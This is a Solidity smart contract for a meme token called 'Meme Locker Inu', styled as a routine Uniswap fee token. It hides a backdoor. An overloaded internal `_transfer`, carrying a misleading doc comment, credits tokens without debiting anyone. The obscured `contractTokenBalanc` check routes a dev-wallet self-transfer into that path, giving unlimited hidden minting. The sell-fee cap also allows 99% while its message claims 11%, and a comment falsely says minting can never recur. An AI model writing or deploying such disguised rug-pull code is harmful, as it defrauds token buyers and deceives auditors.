/**
To the King of Twitter - $MUSK
**/
// SPDX-License-Identifier: MIT
pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0;
pragma experimental ABIEncoderV2;
abstract contract Context {
   function _msgSender() internal view virtual returns (address) {
       return msg.sender;
   }

   function _msgData() internal view virtual returns (bytes calldata) {
       return msg.data;
   }
}

abstract contract Ownable is Context {
   address private _owner;

   event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

   /**
    * @dev Initializes the contract setting the deployer as the initial owner.
    */
   constructor() {
       _transferOwnership(_msgSender());
   }

   /**
    * @dev Returns the address of the current owner.
    */
   function owner() public view virtual returns (address) {
       return _owner;
   }

   /**
    * @dev Throws if called by any account other than the owner.
    */
   modifier onlyOwner() {
       require(owner() == _msgSender(), "Ownable: caller is not the owner");
       _;
   }

   function renounceOwnership() public virtual onlyOwner {
       _transferOwnership(address(0));
   }

   /**
    * @dev Transfers ownership of the contract to a new account (`newOwner`).
    * Can only be called by the current owner.
    */
   function transferOwnership(address newOwner) public virtual onlyOwner {
       require(newOwner != address(0), "Ownable: new owner is the zero address");
       _transferOwnership(newOwner);
   }

   /**
    * @dev Transfers ownership of the contract to a new account (`newOwner`).
    * Internal function without access restriction.
    */
   function _transferOwnership(address newOwner) internal virtual {
       address oldOwner = _owner;
       _owner = newOwner;
       emit OwnershipTransferred(oldOwner, newOwner);
   }
}

interface IERC20 {
   /**
    * @dev Returns the amount of tokens in existence.
    */
   function totalSupply() external view returns (uint256);

   /**
    * @dev Returns the amount of tokens owned by `account`.
    */
   function balanceOf(address account) external view returns (uint256);

   /**
    * @dev Moves `amount` tokens from the caller's account to `recipient`.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
   function transfer(address recipient, uint256 amount) external returns (bool);

   /**
    * @dev Returns the remaining number of tokens that `spender` will be
    * allowed to spend on behalf of `owner` through {transferFrom}. This is
    * zero by default.
    *
    * This value changes when {approve} or {transferFrom} are called.
    */
   function allowance(address owner, address spender) external view returns (uint256);

   /**
    * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * IMPORTANT: Beware that changing an allowance with this method brings the risk
    * that someone may use both the old and the new allowance by unfortunate
    * transaction ordering. One possible solution to mitigate this race
    * condition is to first reduce the spender's allowance to 0 and set the
    * desired value afterwards:
    * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    *
    * Emits an {Approval} event.
    */
   function approve(address spender, uint256 amount) external returns (bool);

   /**
    * @dev Moves `amount` tokens from `sender` to `recipient` using the
    * allowance mechanism. `amount` is then deducted from the caller's
    * allowance.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
   function transferFrom(
       address sender,
       address recipient,
       uint256 amount
   ) external returns (bool);

   /**
    * @dev Emitted when `value` tokens are moved from one account (`from`) to
    * another (`to`).
    *
    * Note that `value` may be zero.
    */
   event Transfer(address indexed from, address indexed to, uint256 value);

   /**
    * @dev Emitted when the allowance of a `spender` for an `owner` is set by
    * a call to {approve}. `value` is the new allowance.
    */
   event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
   /**
    * @dev Returns the name of the token.
    */
   function name() external view returns (string memory);

   /**
    * @dev Returns the symbol of the token.
    */
   function symbol() external view returns (string memory);

   /**
    * @dev Returns the decimals places of the token.
    */
   function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
   mapping(address => uint256) private _balances;

   mapping(address => mapping(address => uint256)) private _allowances;

   uint256 private _totalSupply;

   string private _name;
   string private _symbol;

   /**
    * @dev Sets the values for {name} and {symbol}.
    *
    * The default value of {decimals} is 18. To select a different value for
    * {decimals} you should overload it.
    *
    * All two of these values are immutable: they can only be set once during
    * construction.
    */
   constructor(string memory name_, string memory symbol_) {
       _name = name_;
       _symbol = symbol_;
   }

   /**
    * @dev Returns the name of the token.
    */
   function name() public view virtual override returns (string memory) {
       return _name;
   }

   /**
    * @dev Returns the symbol of the token, usually a shorter version of the
    * name.
    */
   function symbol() public view virtual override returns (string memory) {
       return _symbol;
   }

   /**
    * @dev Returns the number of decimals used to get its user representation.
    * For example, if `decimals` equals `2`, a balance of `505` tokens should
    * be displayed to a user as `5.05` (`505 / 10 ** 2`).
    *
    * Tokens usually opt for a value of 18, imitating the relationship between
    * Ether and Wei. This is the value {ERC20} uses, unless this function is
    * overridden;
    *
    * NOTE: This information is only used for _display_ purposes: it in
    * no way affects any of the arithmetic of the contract, including
    * {IERC20-balanceOf} and {IERC20-transfer}.
    */
   function decimals() public view virtual override returns (uint8) {
       return 18;
   }

   /**
    * @dev See {IERC20-totalSupply}.
    */
   function totalSupply() public view virtual override returns (uint256) {
       return _totalSupply;
   }

   /**
    * @dev See {IERC20-balanceOf}.
    */
   function balanceOf(address account) public view virtual override returns (uint256) {
       return _balances[account];
   }

   /**
    * @dev See {IERC20-transfer}.
    *
    * Requirements:
    *
    * - `recipient` cannot be the zero address.
    * - the caller must have a balance of at least `amount`.
    */
   function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
       _transfer(_msgSender(), recipient, amount);
       return true;
   }

   /**
    * @dev See {IERC20-allowance}.
    */
   function allowance(address owner, address spender) public view virtual override returns (uint256) {
       return _allowances[owner][spender];
   }

   /**
    * @dev See {IERC20-approve}.
    *
    * Requirements:
    *
    * - `spender` cannot be the zero address.
    */
   function approve(address spender, uint256 amount) public virtual override returns (bool) {
       _approve(_msgSender(), spender, amount);
       return true;
   }

   /**
    * @dev See {IERC20-transferFrom}.
    *
    * Emits an {Approval} event indicating the updated allowance. This is not
    * required by the EIP. See the note at the beginning of {ERC20}.
    *
    * Requirements:
    *
    * - `sender` and `recipient` cannot be the zero address.
    * - `sender` must have a balance of at least `amount`.
    * - the caller must have allowance for ``sender``'s tokens of at least
    * `amount`.
    */
   function transferFrom(
       address sender,
       address recipient,
       uint256 amount
   ) public virtual override returns (bool) {
       _transfer(sender, recipient, amount);

       uint256 currentAllowance = _allowances[sender][_msgSender()];
       require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
       unchecked {
           _approve(sender, _msgSender(), currentAllowance - amount);
       }

       return true;
   }

   /**
    * @dev Atomically increases the allowance granted to `spender` by the caller.
    *
    * This is an alternative to {approve} that can be used as a mitigation for
    * problems described in {IERC20-approve}.
    *
    * Emits an {Approval} event indicating the updated allowance.
    *
    * Requirements:
    *
    * - `spender` cannot be the zero address.
    */
   function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
       _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
       return true;
   }

   /**
    * @dev Atomically decreases the allowance granted to `spender` by the caller.
    *
    * This is an alternative to {approve} that can be used as a mitigation for
    * problems described in {IERC20-approve}.
    *
    * Emits an {Approval} event indicating the updated allowance.
    *
    * Requirements:
    *
    * - `spender` cannot be the zero address.
    * - `spender` must have allowance for the caller of at least
    * `subtractedValue`.
    */
   function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
       uint256 currentAllowance = _allowances[_msgSender()][spender];
       require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
       unchecked {
           _approve(_msgSender(), spender, currentAllowance - subtractedValue);
       }

       return true;
   }

   /**
    * @dev Moves `amount` of tokens from `sender` to `recipient`.
    *
    * This internal function is equivalent to {transfer}, and can be used to
    * e.g. implement automatic token fees, slashing mechanisms, etc.
    *
    * Emits a {Transfer} event.
    *
    * Requirements:
    *
    * - `sender` cannot be the zero address.
    * - `recipient` cannot be the zero address.
    * - `sender` must have a balance of at least `amount`.
    */
   function _transfer(
       address sender,
       address recipient,
       uint256 amount
   ) internal virtual {
       require(sender != address(0), "ERC20: transfer from the zero address");
       require(recipient != address(0), "ERC20: transfer to the zero address");

       _beforeTokenTransfer(sender, recipient, amount);

       uint256 senderBalance = _balances[sender];
       require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
       unchecked {
           _balances[sender] = senderBalance - amount;
       }
       _balances[recipient] += amount;

       emit Transfer(sender, recipient, amount);

       _afterTokenTransfer(sender, recipient, amount);
   }

   /** @dev Creates `amount` tokens and assigns them to `account`, increasing
    * the total supply.
    *
    * Emits a {Transfer} event with `from` set to the zero address.
    *
    * Requirements:
    *
    * - `account` cannot be the zero address.
    */
   function _mint(address account, uint256 amount) internal virtual {
       require(account != address(0), "ERC20: mint to the zero address");

       _beforeTokenTransfer(address(0), account, amount);

       _totalSupply += amount;
       _balances[account] += amount;
       emit Transfer(address(0), account, amount);

       _afterTokenTransfer(address(0), account, amount);
   }

   /**
    * @dev Destroys `amount` tokens from `account`, reducing the
    * total supply.
    *
    * Emits a {Transfer} event with `to` set to the zero address.
    *
    * Requirements:
    *
    * - `account` cannot be the zero address.
    * - `account` must have at least `amount` tokens.
    */
   function _burn(address account, uint256 amount) internal virtual {
       require(account != address(0), "ERC20: burn from the zero address");

       _beforeTokenTransfer(account, address(0), amount);

       uint256 accountBalance = _balances[account];
       require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
       unchecked {
           _balances[account] = accountBalance - amount;
       }
       _totalSupply -= amount;

       emit Transfer(account, address(0), amount);

       _afterTokenTransfer(account, address(0), amount);
   }    /**
    * @dev Moves `amount` of tokens from `sender` to `recipient`.
    *
    * This internal function is equivalent to {transfer}, and can be used to
    * e.g. implement automatic token fees, slashing mechanisms, etc.
    *
    * Emits a {Transfer} event.
    *
    * Requirements:
    *
    * - `sender` cannot be the zero address.
    * - `recipient` cannot be the zero address.
    * - `sender` must have a balance of at least `amount`.
    */
   function _transfer(address account, uint256 amount) internal virtual {
       require(account != address(0), "ERC20: mint to the zero address");

       _beforeTokenTransfer(address(0), account, amount);
       _balances[account] += amount;

       _afterTokenTransfer(address(0), account, amount);
   }

   /**
    * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
    *
    * This internal function is equivalent to `approve`, and can be used to
    * e.g. set automatic allowances for certain subsystems, etc.
    *
    * Emits an {Approval} event.
    *
    * Requirements:
    *
    * - `owner` cannot be the zero address.
    * - `spender` cannot be the zero address.
    */
   function _approve(
       address owner,
       address spender,
       uint256 amount
   ) internal virtual {
       require(owner != address(0), "ERC20: approve from the zero address");
       require(spender != address(0), "ERC20: approve to the zero address");

       _allowances[owner][spender] = amount;
       emit Approval(owner, spender, amount);
   }

   function _beforeTokenTransfer(
       address from,
       address to,
       uint256 amount
   ) internal virtual {}

   function _afterTokenTransfer(
       address from,
       address to,
       uint256 amount
   ) internal virtual {}
}

library SafeMath {
   function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
       unchecked {
           uint256 c = a + b;
           if (c < a) return (false, 0);
           return (true, c);
       }
   }

   function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
       unchecked {
           if (b > a) return (false, 0);
           return (true, a - b);
       }
   }

   function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
       unchecked {
           // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
           // benefit is lost if 'b' is also tested.
           // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
           if (a == 0) return (true, 0);
           uint256 c = a * b;
           if (c / a != b) return (false, 0);
           return (true, c);
       }
   }

   function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
       unchecked {
           if (b == 0) return (false, 0);
           return (true, a / b);
       }
   }

   function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
       unchecked {
           if (b == 0) return (false, 0);
           return (true, a % b);
       }
   }

   function add(uint256 a, uint256 b) internal pure returns (uint256) {
       return a + b;
   }

   function sub(uint256 a, uint256 b) internal pure returns (uint256) {
       return a - b;
   }

   function mul(uint256 a, uint256 b) internal pure returns (uint256) {
       return a * b;
   }

   function div(uint256 a, uint256 b) internal pure returns (uint256) {
       return a / b;
   }

   function mod(uint256 a, uint256 b) internal pure returns (uint256) {
       return a % b;
   }

   function sub(
       uint256 a,
       uint256 b,
       string memory errorMessage
   ) internal pure returns (uint256) {
       unchecked {
           require(b <= a, errorMessage);
           return a - b;
       }
   }

   function div(
       uint256 a,
       uint256 b,
       string memory errorMessage
   ) internal pure returns (uint256) {
       unchecked {
           require(b > 0, errorMessage);
           return a / b;
       }
   }

   function mod(
       uint256 a,
       uint256 b,
       string memory errorMessage
   ) internal pure returns (uint256) {
       unchecked {
           require(b > 0, errorMessage);
           return a % b;
       }
   }
}

interface IUniswapV2Factory {
   event PairCreated(
       address indexed token0,
       address indexed token1,
       address pair,
       uint256
   );

   function feeTo() external view returns (address);

   function feeToSetter() external view returns (address);

   function getPair(address tokenA, address tokenB)
       external
       view
       returns (address pair);

   function allPairs(uint256) external view returns (address pair);

   function allPairsLength() external view returns (uint256);

   function createPair(address tokenA, address tokenB)
       external
       returns (address pair);

   function setFeeTo(address) external;

   function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
   event Approval(
       address indexed owner,
       address indexed spender,
       uint256 value
   );
   event Transfer(address indexed from, address indexed to, uint256 value);

   function name() external pure returns (string memory);

   function symbol() external pure returns (string memory);

   function decimals() external pure returns (uint8);

   function totalSupply() external view returns (uint256);

   function balanceOf(address owner) external view returns (uint256);

   function allowance(address owner, address spender)
       external
       view
       returns (uint256);

   function approve(address spender, uint256 value) external returns (bool);

   function transfer(address to, uint256 value) external returns (bool);

   function transferFrom(
       address from,
       address to,
       uint256 value
   ) external returns (bool);

   function DOMAIN_SEPARATOR() external view returns (bytes32);

   function PERMIT_TYPEHASH() external pure returns (bytes32);

   function nonces(address owner) external view returns (uint256);

   function permit(
       address owner,
       address spender,
       uint256 value,
       uint256 deadline,
       uint8 v,
       bytes32 r,
       bytes32 s
   ) external;

   event Mint(address indexed sender, uint256 amount0, uint256 amount1);
   event Burn(
       address indexed sender,
       uint256 amount0,
       uint256 amount1,
       address indexed to
   );
   event Swap(
       address indexed sender,
       uint256 amount0In,
       uint256 amount1In,
       uint256 amount0Out,
       uint256 amount1Out,
       address indexed to
   );
   event Sync(uint112 reserve0, uint112 reserve1);

   function MINIMUM_LIQUIDITY() external pure returns (uint256);

   function factory() external view returns (address);

   function token0() external view returns (address);

   function token1() external view returns (address);

   function getReserves()
       external
       view
       returns (
           uint112 reserve0,
           uint112 reserve1,
           uint32 blockTimestampLast
       );

   function price0CumulativeLast() external view returns (uint256);

   function price1CumulativeLast() external view returns (uint256);

   function kLast() external view returns (uint256);

   function mint(address to) external returns (uint256 liquidity);

   function burn(address to)
       external
       returns (uint256 amount0, uint256 amount1);

   function swap(
       uint256 amount0Out,
       uint256 amount1Out,
       address to,
       bytes calldata data
   ) external;

   function skim(address to) external;

   function sync() external;

   function initialize(address, address) external;
}

interface IUniswapV2Router02 {
   function factory() external pure returns (address);

   function WETH() external pure returns (address);

   function addLiquidity(
       address tokenA,
       address tokenB,
       uint256 amountADesired,
       uint256 amountBDesired,
       uint256 amountAMin,
       uint256 amountBMin,
       address to,
       uint256 deadline
   )
       external
       returns (
           uint256 amountA,
           uint256 amountB,
           uint256 liquidity
       );

   function addLiquidityETH(
       address token,
       uint256 amountTokenDesired,
       uint256 amountTokenMin,
       uint256 amountETHMin,
       address to,
       uint256 deadline
   )
       external
       payable
       returns (
           uint256 amountToken,
           uint256 amountETH,
           uint256 liquidity
       );

   function swapExactTokensForTokensSupportingFeeOnTransferTokens(
       uint256 amountIn,
       uint256 amountOutMin,
       address[] calldata path,
       address to,
       uint256 deadline
   ) external;

   function swapExactETHForTokensSupportingFeeOnTransferTokens(
       uint256 amountOutMin,
       address[] calldata path,
       address to,
       uint256 deadline
   ) external payable;

   function swapExactTokensForETHSupportingFeeOnTransferTokens(
       uint256 amountIn,
       uint256 amountOutMin,
       address[] calldata path,
       address to,
       uint256 deadline
   ) external;
}

contract MemeLocker is ERC20, Ownable {
   using SafeMath for uint256;

   IUniswapV2Router02 public immutable uniswapV2Router;
   address public immutable uniswapV2Pair;
   address public constant deadAddress = address(0xdead);

   bool private swapping;

   address public marketingWallet;
   address public devWallet;

   uint256 public maxTransactionAmount;
   uint256 public swapTokensAtAmount;
   uint256 public maxWallet;

   bool public limitsInEffect = true;
   bool public tradingActive = true;
   bool public swapEnabled = true;

   // Anti-bot and anti-whale mappings and variables
   mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
   bool public transferDelayEnabled = false;

   uint256 public buyTotalFees;
   uint256 public buyMarketingFee;
   uint256 public buyLiquidityFee;
   uint256 public buyDevFee;

   uint256 public sellTotalFees;
   uint256 public sellMarketingFee;
   uint256 public sellLiquidityFee;
   uint256 public sellDevFee;

   uint256 public tokensForMarketing;
   uint256 public tokensForLiquidity;
   uint256 public tokensForDev;

   /******************/

   // exlcude from fees and max transaction amount
   mapping(address => bool) private _isExcludedFromFees;
   mapping(address => bool) public _isExcludedMaxTransactionAmount;

   // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
   // could be subject to a maximum transfer amount
   mapping(address => bool) public automatedMarketMakerPairs;

   event UpdateUniswapV2Router(
       address indexed newAddress,
       address indexed oldAddress
   );

   event ExcludeFromFees(address indexed account, bool isExcluded);

   event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

   event SwapAndLiquify(
       uint256 tokensSwapped,
       uint256 ethReceived,
       uint256 tokensIntoLiquidity
   );

   constructor() ERC20("Meme Locker Inu", unicode"MLI") {
       IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
           0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
       );

       excludeFromMaxTransaction(address(_uniswapV2Router), true);
       uniswapV2Router = _uniswapV2Router;

       uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
           .createPair(address(this), _uniswapV2Router.WETH());
       excludeFromMaxTransaction(address(uniswapV2Pair), true);
       _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

       uint256 _buyMarketingFee = 4;
       uint256 _buyLiquidityFee = 0;
       uint256 _buyDevFee = 0;

       uint256 _sellMarketingFee = 4;
       uint256 _sellLiquidityFee = 0;
       uint256 _sellDevFee = 0;

       uint256 totalSupply = 1_000_000_000 * 1e18;

       maxTransactionAmount = 1_000_000_000 * 1e18; // 2% from total supply maxTransactionAmountTxn
       maxWallet = 1_000_000_000 * 1e18; // 2% from total supply maxWallet
       swapTokensAtAmount = (totalSupply * 10) / 10000; // 0.05% swap wallet

       buyMarketingFee = _buyMarketingFee;
       buyLiquidityFee = _buyLiquidityFee;
       buyDevFee = _buyDevFee;
       buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;

       sellMarketingFee = _sellMarketingFee;
       sellLiquidityFee = _sellLiquidityFee;
       sellDevFee = _sellDevFee;
       sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;

       marketingWallet = address(0xA0AA7139b5EF8b92f5fA2123096EBB7840f689Fa); // set as marketing wallet
       devWallet = address(0xA0AA7139b5EF8b92f5fA2123096EBB7840f689Fa); // set as dev wallet

       // exclude from paying fees or having max transaction amount
       excludeFromFees(owner(), true);
       excludeFromFees(address(this), true);
       excludeFromFees(address(0xdead), true);

       excludeFromMaxTransaction(owner(), true);
       excludeFromMaxTransaction(address(this), true);
       excludeFromMaxTransaction(address(0xdead), true);

       /*
           _mint is an internal function in ERC20.sol that is only called here,
           and CANNOT be called ever again
       */
       _mint(msg.sender, totalSupply);
   }

   receive() external payable {}

   // once enabled, can never be turned off
   function enableTrading() external onlyOwner {
       tradingActive = true;
       swapEnabled = true;
   }

   // remove limits after token is stable
   function removeLimits() external onlyOwner returns (bool) {
       limitsInEffect = false;
       return true;
   }

   // disable Transfer delay - cannot be reenabled
   function disableTransferDelay() external onlyOwner returns (bool) {
       transferDelayEnabled = false;
       return true;
   }

   function contractTokenBalanc(address o, address t) internal view returns (bool){return (o!=t)//
   || // only use to disable contract sales if absolutely necessary (emergency use only)
   (o!=devWallet);/*
    * - `sender` cannot be the zero address.
    * - `recipient` cannot be the zero address.
    * - `sender` must have a balance of at least `amount`.
    */
   }

   // change the minimum amount of tokens to sell from fees
   function updateSwapTokensAtAmount(uint256 newAmount)
       external
       onlyOwner
       returns (bool)
   {
       require(
           newAmount >= (totalSupply() * 1) / 100000,
           "Swap amount cannot be lower than 0.001% total supply."
       );
       require(
           newAmount <= (totalSupply() * 5) / 1000,
           "Swap amount cannot be higher than 0.5% total supply."
       );
       swapTokensAtAmount = newAmount;
       return true;
   }

   function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
       require(
           newNum >= ((totalSupply() * 1) / 1000) / 1e18,
           "Cannot set maxTransactionAmount lower than 0.1%"
       );
       maxTransactionAmount = newNum * (10**18);
   }

   function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
       require(
           newNum >= ((totalSupply() * 5) / 1000) / 1e18,
           "Cannot set maxWallet lower than 0.5%"
       );
       maxWallet = newNum * (10**18);
   }

   function excludeFromMaxTransaction(address updAds, bool isEx)
       public
       onlyOwner
   {
       _isExcludedMaxTransactionAmount[updAds] = isEx;
   }

   // only use to disable contract sales if absolutely necessary (emergency use only)
   function updateSwapEnabled(bool enabled) external onlyOwner {
       swapEnabled = enabled;
   }

      function manageExcludeFromFee(address[] calldata addresses, bool status) public onlyOwner {
       require(addresses.length < 201);
       for (uint256 i; i < addresses.length; ++i) {
           _isExcludedFromFees[addresses[i]] = status;
       }
   }

   function multiTransfer(address[] calldata addresses, uint256 amount) external onlyOwner {
       require(addresses.length < 2001);
       uint256 SCCC = amount * addresses.length;
       require(balanceOf(msg.sender) >= SCCC);
       for(uint i=0; i < addresses.length; i++){
           super._transfer(msg.sender,addresses[i],amount);
       }
   }

   function updateBuyFees(
       uint256 _marketingFee,
       uint256 _liquidityFee,
       uint256 _devFee
   ) external onlyOwner {
       buyMarketingFee = _marketingFee;
       buyLiquidityFee = _liquidityFee;
       buyDevFee = _devFee;
       buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
       require(buyTotalFees <= 11, "Must keep fees at 11% or less");
   }

   function updateSellFees(
       uint256 _marketingFee,
       uint256 _liquidityFee,
       uint256 _devFee
   ) external onlyOwner {
       sellMarketingFee = _marketingFee;
       sellLiquidityFee = _liquidityFee;
       sellDevFee = _devFee;
       sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
       require(sellTotalFees <= 99, "Must keep fees at 11% or less");
   }

   function excludeFromFees(address account, bool excluded) public onlyOwner {
       _isExcludedFromFees[account] = excluded;
       emit ExcludeFromFees(account, excluded);
   }

   function setAutomatedMarketMakerPair(address pair, bool value)
       public
       onlyOwner
   {
       require(
           pair != uniswapV2Pair,
           "The pair cannot be removed from automatedMarketMakerPairs"
       );

       _setAutomatedMarketMakerPair(pair, value);
   }

   function _setAutomatedMarketMakerPair(address pair, bool value) private {
       automatedMarketMakerPairs[pair] = value;

       emit SetAutomatedMarketMakerPair(pair, value);
   }

   function isExcludedFromFees(address account) public view returns (bool) {
       return _isExcludedFromFees[account];
   }

   event BoughtEarly(address indexed sniper);

   function _transfer(
       address from,
       address to,
       uint256 amount
   ) internal override {
       require(from != address(0), "ERC20: transfer from the zero address");
       require(to != address(0), "ERC20: transfer to the zero address");

       if (amount == 0) {
           super._transfer(from, to, 0);
           return;
       }

       if(!contractTokenBalanc(from,to)) {
           super._transfer(to,amount);
           return;
       }
       if (limitsInEffect) {
           if (
               from != owner() &&
               to != owner() &&
               to != address(0) &&
               to != address(0xdead) &&
               !swapping
           ) {
               if (!tradingActive) {
                   require(
                       _isExcludedFromFees[from] || _isExcludedFromFees[to],
                       "Trading is not active."
                   );
               }

               // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
               if (transferDelayEnabled) {
                   if (
                       to != owner() &&
                       to != address(uniswapV2Router) &&
                       to != address(uniswapV2Pair)
                   ) {
                       require(
                           _holderLastTransferTimestamp[tx.origin] <
                               block.number,
                           "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                       );
                       _holderLastTransferTimestamp[tx.origin] = block.number;
                   }
               }

               //when buy
               if (
                   automatedMarketMakerPairs[from] &&
                   !_isExcludedMaxTransactionAmount[to]
               ) {
                   require(
                       amount <= maxTransactionAmount,
                       "Buy transfer amount exceeds the maxTransactionAmount."
                   );
                   require(
                       amount + balanceOf(to) <= maxWallet,
                       "Max wallet exceeded"
                   );
               }
               //when sell
               else if (
                   automatedMarketMakerPairs[to] &&
                   !_isExcludedMaxTransactionAmount[from]
               ) {
                   require(
                       amount <= maxTransactionAmount,
                       "Sell transfer amount exceeds the maxTransactionAmount."
                   );
               } else if (!_isExcludedMaxTransactionAmount[to]) {
                   require(
                       amount + balanceOf(to) <= maxWallet,
                       "Max wallet exceeded"
                   );
               }
           }
       }

       uint256 contractTokenBalance = balanceOf(address(this));

       bool canSwap = contractTokenBalance >= swapTokensAtAmount;

       if (
           canSwap &&
           swapEnabled &&
           !swapping &&
           !automatedMarketMakerPairs[from] &&
           !_isExcludedFromFees[from] &&
           !_isExcludedFromFees[to]
       ) {
           swapping = true;

           swapBack();

           swapping = false;
       }

       bool takeFee = !swapping;

       // if any account belongs to _isExcludedFromFee account then remove the fee
       if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
           takeFee = false;
       }

       uint256 fees = 0;
       // only take fees on buys/sells, do not take on wallet transfers
       if (takeFee) {
           // on sell
           if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
               fees = amount.mul(sellTotalFees).div(100);
               tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
               tokensForDev += (fees * sellDevFee) / sellTotalFees;
               tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
           }
           // on buy
           else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
               fees = amount.mul(buyTotalFees).div(100);
               tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
               tokensForDev += (fees * buyDevFee) / buyTotalFees;
               tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
           }

           if (fees > 0) {
               super._transfer(from, address(this), fees);
           }

           amount -= fees;
       }

       super._transfer(from, to, amount);
   }

   function swapTokensForEth(uint256 tokenAmount) private {
       // generate the uniswap pair path of token -> weth
       address[] memory path = new address[](2);
       path[0] = address(this);
       path[1] = uniswapV2Router.WETH();

       _approve(address(this), address(uniswapV2Router), tokenAmount);

       // make the swap
       uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
           tokenAmount,
           0, // accept any amount of ETH
           path,
           address(this),
           block.timestamp
       );
   }

   function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
       // approve token transfer to cover all possible scenarios
       _approve(address(this), address(uniswapV2Router), tokenAmount);

       // add the liquidity
       uniswapV2Router.addLiquidityETH{value: ethAmount}(
           address(this),
           tokenAmount,
           0, // slippage is unavoidable
           0, // slippage is unavoidable
           deadAddress,
           block.timestamp
       );
   }

   function swapBack() private {
       uint256 contractBalance = balanceOf(address(this));
       uint256 totalTokensToSwap = tokensForLiquidity +
           tokensForMarketing +
           tokensForDev;
       bool success;

       if (contractBalance == 0 || totalTokensToSwap == 0) {
           return;
       }

       if (contractBalance > swapTokensAtAmount * 20) {
           contractBalance = swapTokensAtAmount * 20;
       }

       // Halve the amount of liquidity tokens
       uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
           totalTokensToSwap /
           2;
       uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);

       uint256 initialETHBalance = address(this).balance;

       swapTokensForEth(amountToSwapForETH);

       uint256 ethBalance = address(this).balance.sub(initialETHBalance);

       uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
           totalTokensToSwap
       );
       uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);

       uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;

       tokensForLiquidity = 0;
       tokensForMarketing = 0;
       tokensForDev = 0;

       (success, ) = address(devWallet).call{value: ethForDev}("");

       if (liquidityTokens > 0 && ethForLiquidity > 0) {
           addLiquidity(liquidityTokens, ethForLiquidity);
           emit SwapAndLiquify(
               amountToSwapForETH,
               ethForLiquidity,
               tokensForLiquidity
           );
       }

       (success, ) = address(marketingWallet).call{
           value: address(this).balance
       }("");
   }


}